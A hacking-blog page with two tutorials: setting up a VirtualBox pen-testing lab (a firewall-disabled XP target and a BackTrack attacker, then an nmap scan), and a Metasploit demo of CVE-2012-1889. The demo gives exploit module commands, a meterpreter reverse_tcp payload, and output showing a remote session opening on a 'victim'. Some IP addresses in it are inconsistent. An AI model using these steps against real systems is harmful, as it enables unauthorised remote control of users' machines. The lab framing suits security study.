How to Set up your Pen Testing / Ethical Hacking Lab with a single Computer ?

Hi BTS readers,  We have provide you plenty of Ethical hacking and Pentesting tutorial, still more article is going to come.  Meanwhile, i like to teach you how to  set up your own pen testing hacking network Lab.

Use of your own Pen Testing Lab:

• Free, free ,free..! It's free lab, because it is yours..
• Only one system is enough
• can Practice your pentesting/hacking skills 
• can install any kind of malwares(spyware,trojan) or RATs and test how it works
• and more ...

is it possible to create a lab with single system?

Yes, you can. we are going to set up lot of vulnerable system virtually .  Confused? VirtualBox is open source software provided by Oracle corp that allows to run multiple guest OS(virtual system) in a single system . 

Requirements:

• Virtual box latest version and its extension (get it from here: www.virtualbox.org/) 
• Windows XP image file(xp.iso) ; it is going to be our target system
• Backtrack Linux image file(backtrack5.iso); we are going to launch the attack from this OS.

First of all, Learn how to configure the Guest OS in VirtualBox from here:

https://www.virtualbox.org/manual/UserManual.html

This page will you explain everything about Virtualbox and how to setup Guest OS. 

I hope you now familiar with installing Guest OS. 

Set Up your Target system:Now we have to set up the target system.  Install the Windows XP in VirtualBox using the xp.iso file.  After installation completed, disable the Firewall in xp so that it can become more vulnerable system.

Set up your PenTesting System:Install the Backtrack5 in Virtualbox. Backtrack is penetration testing Linux that has lot of hacking tools .  We will hack the target system using this backtrack.

Network Settings for Guest Os:Step 1:
click the File  menu in Virtualbox and select Preference
Now select the Network Tab
Click the + symbol in the side that will add a new Host only network

Step2:

Right click on the Guest OX(eg:xp,backtrack) and select the Settings.
Select Network tab.
Now you can see the "Attached to" option menu.
change it from NAT to "Host only Adapter"

Do the same thing for both Guest OS.

Step 3:

Now run the both guest os .
Finding the IP address of Target System:open the Windows XP Guest OS window. 
open the cmd in Windows XP and type ipconfig
This will show the ip address of XP. It will be 192.168.56.101

Hacking with Pen Testing System:

open the Terminal  and type "nmap 192.168.56.101". 
Now it will show the list of open port.

You can hack the target system with open ports.
Let me explain more details in my next article.

If you have trouble in installing or confused, comment here.  

LIKE OUR FACEBOOK PAGE AND JOIN OUR SATE TO GET LATEsT HACKS UPDATES

Read More

CVE-2012-1889: Microsoft XML Core Services Vulnerability Metasploit Demo

CVE-2012-1889: Microsoft XML Core Services Vulnerability 


A vulnerability in Microsoft XML Core Services 3.0, 4.0, 5.0, and 6.0 allows remote code execution if a user views a specially crafted webpage using Internet Explorer.

An attacker would have no way to force users to visit such a website. Instead, an attacker would have to convince users to visit the website, typically by getting them to click a link in an email message or Instant Messenger message that takes them to the attacker's website.

The vulnerability affects all supported releases of Microsoft Windows, and all supported editions of Microsoft Office 2003 and Microsoft Office 2007. Here you can get the full list. 
-----------------------------------------------------------------------------------------------------------------------------------------------------------
The vulnerability exists when MSXML attempts to access an object in memory that has not been initialized, which may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the logged-on user.
-----------------------------------------------------------------------------------------------------------------------------------------------------------
I am going to demonstrate how to use Metasploit tool for testing whether your network vulnerable or not. 

Open the Terminal and type "msfupdate" to get the latest metasploit modules. Once update is finished, then type "msfconsole".

Then type the following command in the console "use exploit/windows/browser/msxml_get_definition_code_exec".

Now we have to know the list of settings available for this exploit module. In order to get the list , you can type "show options" in the console.

Command: set SRVHOST 192.168.56.10
Details: Here the 192.168.56.11 is the ip of Backtrack . You can get this ip by simply typing the "ifconfig" in the terminal.

Command: set lhost 192.168.56.10

Command: set URIPATH /
Details: The path in which our exploit will run.

As usual, we can use Reverse Tcp payload for this attack also. So type the following command in the Metasploit console:

set payload windows/meterpreter/reverse_tcp

Type "exploit" in the console.

Once the victim loads the URL in his IE browser, you will get the following message in your metasploit console:

[*] msxml_get_definition_code_exec - Using msvcrt ROP

[*] msxml_get_definition_code_exec - 10.0.1.79:1564 - Sending html

[*] Sending stage (752128 bytes) to 192.168.56.12

[*] Meterpreter session 1 opened (192.168.56.10:4444 -> 192.168.56.12:1565) 

Type "sessions" to list the active sessions . Type "sessions -i 1", this will open the connection to the session with the id '1' and bring you to Meterpreter. 

Type "sysinfo" in the meterpreter to get the system information.

LIKE OUR FACEBOOK PAGE AND JOIN OUR SATE TO GET LATEsT HACKS UPDATES

Read More